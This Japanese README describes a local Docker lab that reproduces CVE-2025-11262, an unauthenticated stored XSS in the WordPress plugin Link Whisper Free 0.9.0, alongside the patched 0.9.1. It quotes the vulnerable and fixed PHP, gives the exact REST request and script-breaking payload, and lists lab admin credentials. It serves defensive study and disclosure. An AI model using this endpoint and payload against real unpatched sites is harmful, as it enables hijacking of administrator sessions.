
このリポジトリには、WordPressプラグイン Link Whisper Free に影響を及ぼす無認証の保存型クロスサイトスクリプティング問題である CVE-2025-11262 を再現するためのローカルDockerラボが含まれています。
このラボでは、2つのプラグインバージョンを比較します:
| サービス | プラグインバージョン | 目的 | URL |
|---|---|---|---|
vuln | 0.9.0 | 脆弱なターゲット | http://127.0.0.1:8081 |
patched | 0.9.1 | パッチ適用済みの比較ターゲット | http://127.0.0.1:8082 |
実証される脆弱性の連鎖は次のとおりです:
無認証のRESTリクエスト
→ 攻撃者が制御する user_id が永続化される
→ 特権を持つWordPressユーザーが Link Whisper AI Subscription ページを開く
→ 保存された値が管理者のJavaScriptコンテキストにレンダリングされる
→ 脆弱なバージョンで alert("CVE-2025-11262-LAB") が実行される
攻撃者は保存型ペイロードを仕込むためにログインしている必要はありません。JavaScriptは、特権を持つWordPressユーザーが影響を受ける管理ページを開いたときに後で実行されます。
このラボは、管理されたローカル調査、ソースレベルの理解、およびポートフォリオデモンストレーションのみを目的として設計されています。
これは README にそのまま置き換えられる Root Cause Summary セクションです。vuln_detail.txt のような内部ファイルには言及しないpublic-safeな内容で、現在使用しているラボ/ソースに基づいています。
CVE-2025-11262 は、Link Whisper Free 0.9.0 の保存型JavaScriptインジェクションの連鎖によって引き起こされます。
この問題は、単一のエスケープ呼び出しの欠落ではありません。複数の安全でない動作の連鎖です:
無認証のRESTエンドポイント
→ user_id の検証不足
→ wpil_ai_access_user_id への永続的保存
→ 管理者のJavaScriptコンテキストへの安全でないレンダリング
→ 特権ユーザーがAI Subscriptionページを開くと保存型XSSが発生
Link Whisper Free は、プラグインのREST名前空間の下にAI認証RESTエンドポイントを登録します:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
エンドポイントは POST ルートとして登録されます:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
権限コールバックが __return_true であるため、エンドポイントには認証なしで到達できます。
ラボでは、実際に有効なエンドポイントは次のとおりです:
/wp-json/link-whisper/ai-auth
つまり、無認証の攻撃者は、WordPressセッション、nonce、管理者アカウントを必要とせずにエンドポイントへリクエストを送信できます。
Link Whisper Free 0.9.0 では、ハンドラーはRESTリクエストから攻撃者が制御するパラメータを読み取ります:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
脆弱な動作は、弱い検証条件です:
if(!empty($token) && false !== strpos($token, 'ai-')){
これは、指定されたアクセストークンが文字列 ai- を含むかどうかのみをチェックします。
user_id は保存前に厳密な検証が行われません:
update_option('wpil_ai_access_user_id', $user_id);
その結果、攻撃者が制御するJavaScriptがWordPressのオプションテーブルに永続化される可能性があります。
攻撃者が制御する user_id の値はWordPressオプションに保存されます:
wpil_ai_access_user_id
このラボでは、PoCは次のローカルのみのペイロードを送信します:
</script><script>alert("CVE-2025-11262-LAB")</script>
脆弱なサービスでは、ペイロードは wpil_ai_access_user_id の値として保存されます。
攻撃者はペイロードを仕込むためにログインしている必要はありません。ペイロードは無認証のRESTエンドポイントを通じて仕込まれます。
保存された値は、後でプラグインの設定ロジックを通じて取得されます:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
この値は $ai_id に割り当てられ、AI Subscription管理ページにレンダリングされます。
Link Whisper Free 0.9.0 では、この値はJavaScript文字列に直接挿入されます:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
$ai_id はJavaScriptコンテキストに挿入される前にエスケープされないため、保存されたペイロードは意図された文字列から抜け出し、管理ページが開かれたときにJavaScriptを実行できます。
ラボのペイロードでは、脆弱なレンダリング出力は次と同等になります:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
ブラウザでは、注入された終了 </script> タグが元のスクリプトブロックを終了させ、注入された <script> ブロックが実行されます。
ペイロードは無認証の攻撃者によって仕込まれますが、実行には特権を持つWordPressユーザーが影響を受ける管理ページを開く必要があります:
/wp-admin/admin.php?page=link_whisper_ai_subscription
このラボでは、アラートダイアログをトリガーするために、影響を受けるページをWordPress管理者として開きます。
これにより、この問題は、Link Whisper AI Subscription管理ページにアクセスできる認証済みWordPress管理者または特権ユーザーを標的とした、無認証の保存型XSSとなります。
Link Whisper Free 0.9.1 は、AI認証値を保存する前に、より厳密な検証を追加します。
パッチ適用済みハンドラーは、トークンとユーザーIDが厳密な形式に一致することを要求します:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
user_id に対して追加された重要な検証は次のとおりです:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
これにより、任意のJavaScriptがAIユーザーIDとして保存されるのを防ぎます。
バージョン0.9.1は、JavaScriptコンテキストにレンダリングする前の値もエスケープします:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
したがって、パッチは2つの時点でこの問題を軽減します:
永続化前の入力検証
JavaScriptレンダリング前の出力エスケープ
ラボは 0.9.0 と 0.9.1 の違いを確認します。
Link Whisper Free 0.9.0 の場合:
POST /wp-json/link-whisper/ai-auth
→ "ok" を返す
→ wpil_ai_access_user_id にペイロードを保存する
→ AI Subscription管理ページを開くと alert("CVE-2025-11262-LAB") がトリガーされる
Link Whisper Free 0.9.1 の場合:
POST /wp-json/link-whisper/ai-auth
→ 依然として "ok" を返す場合がある
→ ペイロードを保存しない
→ AI Subscription管理ページを開いてもアラートはトリガーされない
HTTPレスポンスだけでは、ターゲットが脆弱かどうかを判断するのに十分ではありません。両方のバージョンが "ok" を返す可能性があるためです。意味のある動作の違いは、ペイロードが永続化され、後で管理者のJavaScriptコンテキストにレンダリングされるかどうかです。
このラボは、Docker Composeを使用して、2つの分離されたWordPressインスタンスと2つの独立したMySQLデータベースを実行します。
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Dockerエントリポイントは自動的に以下を行います:
両サービス共通のデフォルトのWordPress管理者認証情報:
admin / AdminPassw0rd!
ラボをビルドして起動します:
docker compose down -v
docker compose build --no-cache
docker compose up -d
コンテナを確認します:
docker compose ps
公開されるサービス:
脆弱なターゲット: http://127.0.0.1:8081
パッチ適用済みターゲット: http://127.0.0.1:8082
セットップログを確認することもできます:
docker compose logs vuln patched
セットアップが成功すると、各WordPressインスタンスで Link Whisper が有効になっていることが表示されます。
脆弱なサービスに対してPoCを実行します:
python3 poc/poc.py --url http://127.0.0.1:8081
PoCは、無認証のRESTエンドポイントを通じて、次のローカルのみのペイロードを送信します:
</script><script>alert("CVE-2025-11262-LAB")</script>
スクリプトの実行後、ブラウザで出力された管理者URLを開き、次の情報でログインします:
admin / AdminPassw0rd!
脆弱なサービスでは、ブラウザに次の内容を含むアラートが表示されます:
CVE-2025-11262-LAB
比較のために、パッチ適用済みサービスに対して同じPoCを実行します:
python3 poc/poc.py --url http://127.0.0.1:8082
その後、パッチ適用済みサービスに対して出力された管理者URLを開きます。アラートはトリガーされないはずです。
脆弱なターゲット:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
パッチ適用済みターゲット:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
HTTPレスポンスだけでは、ターゲットが脆弱かどうかを判断するのに十分ではありません。重要な違いは、特権ユーザーが影響を受ける管理ページを開いた後のブラウザの動作です。

スクリーンショットの推奨対象:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
スクリーンショットには、次の内容のブラウザアラートが表示されている必要があります:
CVE-2025-11262-LAB
PoCは意図的に最小限に設計されており、ターゲットURLのみが必要です:
python3 poc/poc.py --url http://127.0.0.1:8081
次の場所にPOSTリクエストを送信します:
/wp-json/link-whisper/ai-auth
フォームフィールドは次のとおりです:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
脆弱なサービスでは、保存された値が後でAI Subscriptionページにレンダリングされます。管理者がそのページを開くと、JavaScriptが実行されます。
パッチ適用済みサービスでは、同じペイロードでもアラートは発生しません。
プラグインバージョンを確認します:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
脆弱なサービスがペイロードを保存したかどうかを確認します:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
脆弱な場合の期待値:
</script><script>alert("CVE-2025-11262-LAB")</script>
パッチ適用済みサービスを確認します:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
パッチ適用済みの場合の期待される動作:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
RESTエンドポイントのアクセスログを確認します:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Link Whisper Free を 0.9.1 以降にアップグレードしてください。
このパッチは、影響を受けるAI認証フローに、より厳密な検証とより安全な出力処理を追加することで、このラボのペイロードが永続化・レンダリングされるのを防ぎます。
本番環境では、以下も検討してください:
コンテナ、ネットワーク、ボリュームを停止して削除します:
docker compose down -v
必要に応じて、ローカルでビルドしたイメージを削除します:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
このラボは、ローカルでのセキュリティ調査と管理されたデモンストレーションのみを目的としています。
所有していない、またはテストする許可を持っていないシステムに対してPoCを実行しないでください。
このラボでは、実際の認証情報、本番環境のシークレット、外部コールバックを使用しないでください。
PoCは、スクリーンショットの証拠として、意図的に目に見える alert() マーカーを使用します。認証情報の窃取、セッションの窃取、ラボ外での永続化、管理者操作の自動化のためのペイロードは含まれていません。
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Link Whisper Free 脆弱性データベースのエントリ
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org プラグインディレクトリ: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
脆弱なラボで使用されるWordPress.orgプラグインパッケージ
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
パッチ適用済みラボで使用されるWordPress.orgプラグインパッケージ
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPressプラグインソースブラウザ: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPressプラグインソースブラウザ: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPressプラグインソースブラウザ: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPressプラグインソースブラウザ: Link Whisper 0.9.1 Settings.php
| 主張 | 証拠 | このラボでの検証方法 |
|---|
Link Whisper Free 0.9.0 は脆弱です。 | 公開アドバイザリは、Link Whisper Free の 0.9.0 以前のバージョンが影響を受けると特定しています。 | http://127.0.0.1:8081 に対してPoCを実行し、出力された管理者URLを開きます。 |
Link Whisper Free 0.9.1 には修正が含まれています。 | 公開アドバイザリとチェンジログのデータは、0.9.1 をパッチ適用済みバージョンとして特定しています。 | 同じPoCを http://127.0.0.1:8082 に対して実行します。アラートは表示されないはずです。 |
| ペイロードの仕込みは無認証です。 | PoCは、WordPressのCookie、ログイン、nonceなしでPOSTリクエストを送信します。 | poc/poc.py を確認してください。必要なのは --url のみです。 |
| 目に見える影響はWordPress管理エリアで発生します。 | 保存された値は、特権ユーザーが Link Whisper AI Subscription ページを開いたときにレンダリングされます。 | PoC実行後、管理者としてログインし、出力された管理者URLを開きます。 |
パッチ適用済みターゲットはHTTPレイヤーで依然として "ok" を返す場合があります。 | ローカルテストでは、両方のターゲットが "ok" を返すことが確認されました。意味のある違いは、ペイロードが永続化され実行されるかどうかです。 | 8081 と 8082 でのブラウザの動作を比較します。 |